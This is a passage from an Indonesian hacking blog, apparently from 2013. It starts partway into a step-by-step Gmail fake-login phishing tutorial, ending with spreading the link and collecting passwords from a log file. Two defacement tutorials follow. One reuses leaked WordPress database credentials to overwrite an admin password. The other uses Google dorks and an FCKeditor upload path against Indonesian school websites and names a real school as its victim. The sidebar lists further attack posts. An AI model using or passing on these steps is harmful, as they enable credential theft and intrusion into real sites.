5. setelah di itu upload 3 file fake login yang sudah share diatas (saya saran kan gunakan yang index.html . ikuti gambar

[Image: 4u6Tt.jpg]

6. setelah selesai upload silakan kk open page ..

[Image: SyEN6.jpg]

7. maka tampilannya seperti ini bukan ;)) tp ini masih terdeteksi sebagai fake log in

[Image: Io57r.jpg]

8. agar tidak terdetecksi copy link yang ada di browser kemudian kk ke

sini

9. copy paste link di tadi

[Image: ibOKU.jpg]

10. masukan alamat url yang mau kk buat dan masukan capcay(capcah)

[Image: kYl0F.jpg]

11. kemudian pilih confirm
[Image: 3Hr6h.jpg]

sekarang contoh nya yang dah jadi ini kk atau ini yang belum pake .tk

gampang kan sekarang tinggal kk sebar2in aja :D nanti panen sendiri

oh ya hampir lupa #-o passwordnya bisa kk liat di log.txt
[Image: qvd6c.png]

pesan moral agar terhindar dari fake login :

1. selalu check link URL di browser pasti kan link benar :-bd
2. jangan pernah mengikuti email kiriman dari website di email yang ga di kenal alias spam

sumber : palembang hacker link

More√

deface website Mysql

Asalamualaikum Wr.wb
Berhubung di group banyak yg tanyo cara deface web, maka saya akan memposting tutorial deface website Mysql

Bahan yang dibutuhkan :

1. Config -> http://sinarmas-rent.com/Mbt/
2. MySQL -> http://sinarmas-rent.com/database.php
3. Encrypter & Decrcrypter Online -> http://md5encryption.com/

Langsung saja simak

1. Pilih salah satu target yang terapat di barisan config itu.2. Setelah memilih, silahkan cari DB User dan DB Passwordnya Contoh :

/** MySQL veritabanÄ± kullanÄ±cÄ±sÄ± */define('DB_USER', 'bayanesc_ilan');

/** MySQL veritabanÄ± parolasÄ± */define('DB_PASSWORD', '111111');

#user dan password berada diantara tanda petik

3. Lalu buka MySQLnya -> http://sinarmas-rent.com/database.php

4. Copy Paste DB user dan DB passwordnya pada colom yang tersedia

5. Klik table pada baris kedua

6. Untuk mengetahui link target silahkan cari colom "WP_Option" atau semacamnya (cari kata otion itu) lalu lihat pada baris siteurl . Misal saya mendapatkan http://Target.com/

7. Setelah itu balik ke halaman sebelumnya (* yang terdapat banyak kolom) lalu cari kolom "WP_USERS", setlah itu klik edit lalu ganti "USER_PASS" pake kode yang udah kamu encryp di http://md5encryption.com/

8. Setelah selesai, sekarang buka link url tadi (*punya saya http:/target.com) lalu tambahin dengan WP-LOGIN.php?
#Contoh -> http://target/wp-login.php?

9. Lalu masukan User + password yang udah didapat tadi .

10. Selamat, anda berhasil masuk ke website orang

Sekarang, Dah pada Tau kan Cara pakek ny
Yang belum tau cara Ngehajar index Website..

More√

Cara deface web sekolah sch.id

oke kali ini aq nak share trik pepes website skolah nah , pokoknyo sesuatu nian ! kowkowkow
buat yg udh master dewa dsb dilarang keras membaca artikel ini , karena akan membuat anda mati kebosanan ! kwokw

trik ini membahas tentang cara deface web sekolah sch.id, udah pinter deface kan ? ya uda monggo langsong bae kito prakteken samo samo
pertamo siapke dulu perlatanyo !! file .txt dari notepad (isinya terserah nak namo pacar nenek ibuk kaka terserah) nama aq jugo boleh ! hahaha
udah buat file kan ? yauda monggo lanjutt !
buka google dulu ! teros masokin Dork (kata kunci) nih nah aq udh ado dorknyo , tinggal peleh dewek :

inurl:/html/siswa.php?
inurl:/html/alumni.php?
inurl:/html/guru.php?

kalo kito ngetek dork kan ado banyak web skolah kan..?? , nah kito tinggal peleh beh
kalo aq peleh yg ini http://www.smapgri2palembang.sch.id/

tros siapke Exploit dulu , tenang beh , aq lah punya exploitnyo nah :

Exploit: /editor/filemanager/connectors/test.html

langsong beh di hajar..!! , masukke exploitnyo tadi ke url web sch.id
contohnyo nah
ex : http://www.smapgri2palembang.sch.id/edit.../test.html
nah, udah muncol kan yang mau di pepes !
pada kolom Connector *ASP ubah menjadi *PHP teros kolom Resource Type ubah jadi *FILE
tros klik Browse (cari file .txt yang kamu buat tadi) > Upload

kalo udh berhasil di upload , tinggal buka bae hasilnyo
http://sitetarget.sch.id/userfiles/namafileLo.txt
atau => http://sitetarget.sch.id/userfiles/file/namafileLo.txt

mudah kan Bro ? ini nah hasil depes punyo aq
http://www.smapgri2palembang.sch.id/userfiles/file/defaceby-Faiz.txt

wkakka udah pacak pepes kan ? ini masi upload file, kalo udh master nian kito pacak kok deface indexnyo
demikian sedikit trik pepes web skolah, kalo ado kekurangan aq minta maaf beh eeh :) aq bukan hacker ato defacer aq cuma penulis sukarela (tak dibayar)
oke sekian terima kasih, komen bae kalo belom jelas ! :D

sumber : artikel Faiz

More√

™[H]elmi_[H]acker's™

MENU

PROFIL

Teman

Artikel Terkini

Kamis, 11 Juli 2013

[Deface] CuteNews (upload shell)

Joomla JCE 2.0.10 Shell Upload [Eksploit]

[Eksploit] Shop737 FileUpload Vulnerability

Rabu, 03 Juli 2013

Tutorial Hack Billing Warnet tanpa software

Download Game Untuk Belajar Hacker

Selasa, 02 Juli 2013

cara membuat virus sederhana tapi berbahaya

cara mengetahui password wifi

Exploit phising social network

Hack DCS.KPU.GO.ID

Cegah DDOS dengan menutup akses internasional

Senin, 01 Juli 2013

Gmail Fake Log In Step by Step

deface website Mysql

Cara deface web sekolah sch.id

Pencarian

My Facebook

Chat

Top Read

Statistik

MENU

PROFIL

Teman

Langgan

Artikel Terkini

Kamis, 11 Juli 2013

Rabu, 03 Juli 2013

Selasa, 02 Juli 2013

Senin, 01 Juli 2013

Pencarian

My Facebook

Chat

Top Read

Statistik